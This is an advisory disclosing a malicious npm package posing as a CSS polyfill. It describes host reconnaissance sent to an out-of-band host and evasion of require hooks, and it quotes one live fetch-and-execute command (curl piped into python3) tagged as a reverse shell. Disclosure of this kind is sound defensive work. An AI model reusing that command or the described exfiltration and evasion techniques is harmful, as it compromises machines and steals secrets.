css-gwqyid-polyfill

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (3a81a389193175e49648e711d4eb83ebcbbd0b51e1b7a6677ceb338c3398dc19)
thunderboltRegistry.js executes an IIFE on module load that collects host reconnaissance (`id`, `whoami`, full process environment via `env`, and `ifconfig`/`ip addr` output) and sends each result as a GET query-string to the hardcoded out-of-band host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, keyed by `os.hostname()`. The same IIFE invokes `execSync("curl -L https://appsecc.com/py | python3")` to fetch and execute an opaque remote Python payload with the installer's privileges, tagging the output `cmd=reverse-shell` before exfiltrating it to the same oastify host. The payload deletes its own entries from `require.cache` and resolves `child_process` through three alternative paths (plain name, `node:` prefix, and a freshly constructed `Module` instance) to evade monkey-patched require hooks. The package's advertised identity as a CSS/Thunderbolt polyfill does not correspond to any code of that nature in the file and functions as a cover story for the recon, fetch-and-execute, and sandbox-evasion logic.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/a00eadccb320bc1163c7d818541ccc8206217cce/osv/malicious/npm/css-gwqyid-polyfill/MAL-2026-17574.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/a00eadccb320bc1163c7d818541ccc8206217cce/osv/malicious/npm/css-gwqyid-polyfill/MAL-2026-17574.json
- https://www.npmjs.com/package/css-gwqyid-polyfill/v/1.0.0
- https://github.com/advisories/GHSA-x6w7-8rr6-f834

Compromised versions (1)

• = 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.